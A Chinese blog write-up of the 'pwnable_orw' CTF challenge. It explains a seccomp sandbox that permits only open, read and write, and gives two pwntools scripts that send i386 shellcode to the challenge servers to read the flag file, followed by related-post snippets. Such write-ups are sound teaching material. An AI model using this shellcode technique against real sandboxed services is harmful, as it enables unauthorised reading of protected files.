pwnable_orw的wp

[BUUCTF-pwn]——pwnable_orw 记一次ORW的题目 orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag 32位程序,开启了canary 调用orw_seccomp函数后,输入shellcode后执行shellcode 写入sys_call的shellcode,发现不能执行 orw_seccomp函数 seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandbox 阅读详情

好像没见过这样的题
在这里插入图片描述
在这里插入图片描述
就汇编来讲,就是写入shellcode然后执行
其中orw_seccomp就是syscall的过滤,相当于一个白名单
在这里插入图片描述
大概构造

sys_open(filename="/home/orw/flag")
sys_read(fd=3,count=0x30)
sys_write(fd=1,count=0x30)

当打开一个新的文件时,文件描述符会在系统原有的0、1、2之上增加,POSIX标准要求每次打开文件时必须使用当前进程中最小可用的文件描述符,所以read在写入的时候调用的就是fd=3。

from pwn import *
filename="push 0x6761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f"#/home/orw/flag的16进制
sys_open=";mov eax,0x5;mov ebx,esp;int 0x80;"#eax为5时,int80调用open,ebx是读取filename时栈内的起始位置
sys_read="mov eax,0x3;mov ebx,0x3;mov edx,0x30;int 0x80;"#eax为3时,int80调用read,ebx的值就是fd的值,edx则是count的值
sys_write="mov eax,0x4;mov ebx,0x1;mov edx,0x30;int 0x80;"
shellcode=filename+sys_open+sys_read+sys_write
payload=asm(shellcode)
s=remote('chall.pwnable.tw',10001)
s.recv(1024)
s.sendline(payload)
print s.recv()
s.interactive()

或者用shellcraft

#coding:utf-8
from pwn import *

context(os='linux',arch='i386',log_level='debug')

#sh = process('./orw')
sh = remote('node3.buuoj.cn','25658')

payload = shellcraft.i386.linux.open('flag',0)

payload += shellcraft.i386.linux.read(3,'esp',100)

payload += shellcraft.i386.linux.write(1, 'esp', 100)


sh.sendafter('Give my your shellcode:',asm(payload))

sh.interactive()


BUUCTF:pwnable_orw BUUCTF:pwnable_orw0x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01 文件分析 32位程序,开启了canary保护 0x02 运行 提示输入shellcode 0x03 IDA main函数 调用orw_seccomp函数后,输入shellcode后执行shellcode 写入sys_call的shellcode,发现不能执行 orw_seccomp函数 seccomp 是 secure computing 的缩写,其是 阅读详情

相关推荐

BUUCTF pwnable_orw

BUUCTF pwnable_orw 好久不更新博客了,在不更新显得好像自己真的瘦到95斤了似的,上题! 1)还是一如既往地check一下,可以看到程序开启了canary防护,其他的防护并未开启 2)运行一下这个程序,大概了解一下它的运行效果 3)分析这个函数,发现调用了两次prctl,这里决定了程序只能调用open,read,write函数,那我们就必须利用有限的条件来执行,这里有两种写法 ①手动添加汇编代码进行构造 #!/usr/bin/python2 #coding=utf-8 from pwn

weixin_45441024的博客 545

BUUCTF pwn——pwnable_orw

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 566

pwnable_orw-seccomp沙箱

但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。还能调用o(open)/r(read)/w(write)功能,题目orw的提示就是这样来的!输出flag文件内容,sys_write(1,file,0x30);手动生成读取文件shellcode。

个人笔记 1027

[BUUCTF-pwn]——pwnable_orw   (ORW

[BUUCTF-pwn]——pwnable_orw 第一次碰到orw的问题,所谓orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag 这个时候可以通过seccomptools,来查看 注意看到prctl就是将系统调用给你禁止了 exploit from pwn import * context.arch = 'i386' p = remote('node3.buuoj.cn',28626) shellcode = she

Y_peak的博客 1711

[BUUCTF]PWN——pwnable_orw

pwnable_orw 附件 步骤: 例行检查,32位程序,开启了canary 本地运行一下程序,看看大概的情况,提示我们输入shellcode 32位ida载入,检索字符串,没看见什么可以直接利用的,直接看main函数 orw_seccomp函数 prctl在百度后知道了是沙盒机制,具体的看这篇文章 prctl seccomp相当于内核中的一种安全机制,正常情况下,程序可以使用所有的syscall,但是当劫持程序流程之后通过exeve来呼叫syscall得到shell时seccomp边

mcmuyanga的博客 2444

BUUCTF pwnable_orw WP

限制系统调用&&shellcode 1,文件分析 checksec Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments 有canary保护,但是又有存在RWX权限的段,可以考虑写入shellcod

weixin_44645415的博客 587

BUUCTF-pwnable_orw-WP

32位,canary保护。

Rt1Text的博客 917

pwnable.tw orw writeup

题目题目比较简单就不复制了,首先seccomp设置了白名单,然后输入0xc8长度shellcode,直接跳到shellcode执行。分析既然是练习,就要彻底一点。 首先是seccomp dump的问题,目前采用的方法是IDApython脚本dump数据下来,然后输入scmp_bpf_disasm。IDApython的文档非常诡异,函数没有说明,函数的参数也不能直接看出来,所以搜了很长时间找了一个别

jmp esp 2093

BUUCTF PWN 41-45wp

查看伪代码大体思路是通过数组溢出覆盖到ju3t___f_k3_f1_g这个数组,而在ju3t___f_k3_f1_g这个数组之前又有数组v4,可以通过这个数组覆盖ju3t___f_k3_f1_g这个数组。偏移量是0x30,所以我们构造如下payload。

2503_93690490的博客 341

SparkCTF pwn赛题解析:堆栈利用与漏洞利用实战

漏洞利用技术是信息安全领域的核心技能之一,涉及栈溢出、堆利用等多种技术。栈溢出通过覆盖返回地址实现控制流劫持,而堆利用则通过操作内存管理机制(如glibc的malloc/free)实现任意代码执行。这些技术在CTF竞赛和实际漏洞利用中具有重要价值。本文以SparkCTF赛题为例,详细解析了House of Husk、Tcache Poisoning等高级堆利用技术,以及ROP链构造等栈溢出利用方法。通过实战案例,展示了如何结合工具链配置、动态调试技巧和漏洞模式库,提升漏洞利用能力。对于安全研究人员和CTF选

weixin_30279315的博客 385

BUU第二页wp(除堆题)

可以看到,选择1后,会直接将我们的输入作为system的参数,所以直接传入cat flag即可,要注意使用||或&分割,不然会传入其他数据,导致命令无法执行。vuln函数中存在栈溢出,接下来就是ret2libc了。32位,开了canary,下载这个附件居然有病毒,离谱。gift中存在格式化字符串漏洞,可泄露canary。存在后门函数,直接栈溢出返回到后门函数即可。64位开启了NX保护和canary保护。存在栈溢出,典型的ret2libc。64位RELRO全开,开启了pie。直接写入shellcode即可。

2301_79525044的博客 517

pwnable_orw

pwn的最经典的orw的题目,顺便学了一下手写汇编,对传参有了更深的理解

m0_58426698的博客 748

深入解析BUUCTF-pwn中的pwnable_orw:绕过seccomp限制的ORW技术实战

本文深入解析了BUUCTF中的经典Pwn题目pwnable_orw,重点探讨了如何通过ORW技术绕过seccomp限制。文章详细介绍了在仅允许open、read、write系统调用的沙箱环境下,利用pwntools工具快速构造或手写汇编shellcode,实现打开、读取并输出flag文件的完整实战流程,为理解Linux底层安全机制提供了宝贵案例。

weixin_28607671的博客 277

[PWN]pwnable_orw prctl()函数

BUUCTF pwn prctl-seccomp

LDX的博客 428

pwnable_orw 1

只能用read、open、write函数 那我们先open,然后read,最后write打印出来 from pwn import* p = remote('node4.buuoj.cn','25548') shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80') shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx

qq_46441427的博客 320

记录一下沙箱类的pwn题

这题的关键在于上方的orw_seccomp函数中,该函数对程序的系统调用做出了限制,也就是所谓的沙箱。好家伙给我高兴的,以为遇到白痴题了,现在再看到orw的时候就应该多长几个心眼了。思路不复杂,输入一段自己构建的代码然后执行。那么思路就出来了,我们先使用open打开文件,然后使用read读取flag文件,最后用write输出flag内容。这里绿色的系统调用都是可以使用的,可以看到open、read、write都可以使用。本题为pwnable_orw,这应该是我第一道沙箱题,在此记录一下。

qq_47841160的博客 398
上一篇: cmcc_simplerop的wp
下一篇: 牛牛的回文串(区间dp)
w0nderMaker
博客等级 码龄6年 184粉丝 119原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值